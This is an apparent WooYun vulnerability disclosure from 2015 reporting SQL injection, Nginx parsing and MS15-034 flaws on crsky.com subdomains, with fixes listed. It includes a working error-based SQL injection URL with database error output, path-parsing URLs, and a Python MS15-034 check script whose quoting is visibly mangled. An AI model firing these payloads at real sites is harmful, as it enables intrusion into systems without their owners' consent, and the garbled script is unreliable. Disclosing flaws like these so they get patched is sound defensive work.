当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153952

漏洞标题：非凡软件下载站几处漏洞打包(SQL注入\解析漏洞\命令执行)

相关厂商：非凡软件下载

漏洞作者： 岛云首席鉴黄师

提交时间：2015-11-18 16:04

修复时间：2015-11-25 09:00

公开时间：2015-11-25 09:00

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：19

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-18： 细节已通知厂商并且等待厂商处理中
2015-11-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

一次性提交吧- -

详细说明：

0x01 注入：
http://mag.crsky.com/shoppingcart.php?a=addshopingcart&typeid=1%20or%20@`'`=1%20and%20extractvalue(1,concat(0x5c,md5(1)))%20and%20@`\'`

PHPMyWind安全警告：MySql Error！
错误文件：/shoppingcart.php
错误信息：XPATH syntax error: '\c4ca4238a0b923820dcc509a6f75849' Error sql: SELECT * FROM `pmw_goodsattr` WHERE `goodsid`=1 or @`\'`=1 and extractvalue(1,concat(0x5c,md5(1))) and @`\\\'`


修复：升级PHPMYWIND
0x02 Nginx解析漏洞
http://mag.crsky.com/robots.txt/%20\0.php
http://mag.crsky.com/robots.txt/a.php
修复：升级Nginx
0x03 MS15-034 HTTP.sys 远程代码执行
http://sj.crsky.com/
POC：

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
        print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 启动vuln检查！")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "请求范围不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
               "需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)


修复：打补丁

漏洞证明：

如上

修复方案：

详细说明里说了……

版权声明：转载请注明来源 岛云首席鉴黄师@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-25 09:00

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无